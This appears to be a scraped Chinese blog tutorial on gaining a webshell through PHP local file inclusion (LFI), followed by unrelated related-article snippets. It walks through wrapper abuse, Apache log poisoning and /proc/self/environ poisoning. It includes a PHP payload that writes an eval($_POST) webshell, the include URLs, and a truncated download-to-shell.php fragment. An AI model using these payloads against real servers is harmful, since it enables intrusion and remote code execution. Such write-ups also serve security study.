php Wrapper LFI,PHP安全之LFI漏洞GetShell方法大阅兵
Author:LengF Blog:www.81sec.com
0x00 题外话
关于PHP中LFI(Local File Include,本地文件包含)漏洞很多朋友都不是很熟悉,其实网络上有很多这方面的资料,特别说国外的paper。虽然很多资料讲得不是很详细,但是大家都懒得去测试,本文就给大家总结下,并讲述完整的利用方法。[separator]
0x01 LFI的GETSHELL思路
在讲述如何利用LFI来或者webshell之前,不得不提醒大家php5.3.4中截断的bug已经修复了,所以在一些情况下不能成功利用也不要奇怪。
1.包含上传文件
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。
2.包含data:// 或者php://input 伪协议
利用该方法的前提是php.ini中allow_url_include=On,另外必须支持php://filter伪协议
我们来尝试这样一种情况,假设有文件包含漏洞代码如下:
$query=$_GET[‘p’];
Include($query);
?>
在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。那么我们如何利用,我们就来谈谈利用PHP Input/Ouput Wrapper获取webshell了。我给大家写了一个利用程序,如图01:
这个漏洞的利用就到此了。这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。
3.日志包含log日志文件
日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:
首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:
<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>
将它转换为url编码,然后访问
http://www.81sec.com/+urlencode(邪恶代码)
这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:
http://www.81sec.com/test.php?p= ... pache/www_error.log
apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。
4.包含/proc/self/environ环境变量
个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样,如果
你访问/proc/self/environ有如图02:
看到这个代码就知道为什么利用这个Linux的环境变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的。
对于上面的LFI代码,我们可以这样利用:
http://www.81sec.com/test.php?p=../../../../proc/self/environ
如果能得到上图类似的内容说明有权限,就可以利用下面的方法得到webshell,我将两种方法。
方法一:借助firefox的插件user agent switch利用方法很简单也很方便。我们先构造好自己的邪恶代码:
-O shell.php');?>
php Wrapper LFI,PHP安全之LFI漏洞GetShell方法大阅兵相关推荐
- java中xxe漏洞修复方法
java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...
- 小心!智能合约再爆高危漏洞,两大加密货币直接变废纸!
小心!智能合约再爆高危漏洞,两大加密货币直接变废纸! 大家都还记得,前一段时间发生的BEC智能合约的安全漏洞问题.近日,智能合约安全问题再次上演,火币Pro发布公告,暂停EDU冲提币业务,随后EDU智 ...
- 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...
- SQL注入漏洞解决方法
本文只指针编码层次的SQL注入漏洞解决方法,例子代码是以java为主. 1,参数化的预编译查询语句 不安全例子 String query = "SELECT account_balance ...
- CentOS bug修复指令集(阿里云漏洞修复方法)
阿里云服务器经常会提示有漏洞,如 RHSA-2018:0423: kernel security, bug fix, and enhancement update (Moderate),如何修复呢?可 ...
- 记某CMS漏洞getshell
记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等. ...
- linux nmap下载教程,Linux_在Linux系统上用nmap扫描SSL漏洞的方法,以下载nmap 6.45及以上版本。如 - phpStudy...
在Linux系统上用nmap扫描SSL漏洞的方法 以下载nmap 6.45及以上版本.如果懒的重新安装,可以直接下载ssl-heartbleed.nse 脚本. 使用nmap 6.45扫描服务器心脏出 ...
- mysql 漏洞如何修复_Mysql漏洞修复方法思路及注意事项
[系统环境] 系统环境:Red Hat Enterprise Linux Server release 5.4 (Tikanga)+ 5.7.16 MySQL Community Server (G ...
- intel服务器修复两个漏洞,英特尔处理器漏洞怎么修复 Intelcpu漏洞修复方法
英特尔处理器漏洞怎么修复?这一次由Intel服务器CPU产品诱发的安全事故现在规模正式扩大,不少玩家朋友们都非常担忧,下面我们就来分享一下Intelcpu漏洞修复方法一览,希望对各位有所参考和帮助. ...
最新文章
- python 给定URL 如何获取其内容,并将其保存至HTML文档。
- WC2007 石头剪刀布 数学+最小费用最大流
- 后端技术:MyBatis 批量插入的 3 种写法
- WMS请求GetCapabilities,变成下载mapserv.exe解决办法
- 【实验】修改数据文件名字的三种途径
- PaddlePaddle Softmax回归示例
- 小米进军欧洲智能手机市场:一面是狂欢,一面是考验
- Java新闻发布系统源码
- python pdfminer的功能_使用Python pdfMiner提取每页文本?
- 使用Python求解一元二次方程
- 计算机网络双绞线和交叉线的区别,交叉线-什么是交叉线、直通线和双绞线?各有什么区别 – 手机爱问...
- 让python pip使用国内镜像安装模块
- Win7下硬盘安装Ubuntu-16.04 LTS教程
- shell技巧4 - nm命令解决AppStore2.5.2被拒问题
- Python 饼图
- fatal: ‘origin‘ does not appear to be a git repository
- linux 定位 踩内存_记录一次用户态踩内存问题
- python 表示2的n次方
- linux当中shadow文件的作用,解释Linux中passwd与shadow文件
- 关于液晶显示器的6bit面板、8bit面板及E-IPS(转)
热门文章
- Mybatis怎么怎么获取刚insert后生成的ID(探索selectKey)
- Google Adsense账号快速申请教程(网赚)
- getattr使用方法
- 锁相环(倍频,分频,利用开发板固有频率+内部专用电路 产生特定需求的时钟信号)
- win10任务栏出现无法删除的空白块
- 高校房产管理系统用到了哪些技术?
- [118题+解析] Python面试题
- 面试题:JavaEE项目中,你准备如何解决高并发问题?比如1000万人同时登录。作者——DengJun
- 这一次,彻底搞懂箭头函数
- 安卓底层linux开发教程,Android手机平台移植与底层开发 PDF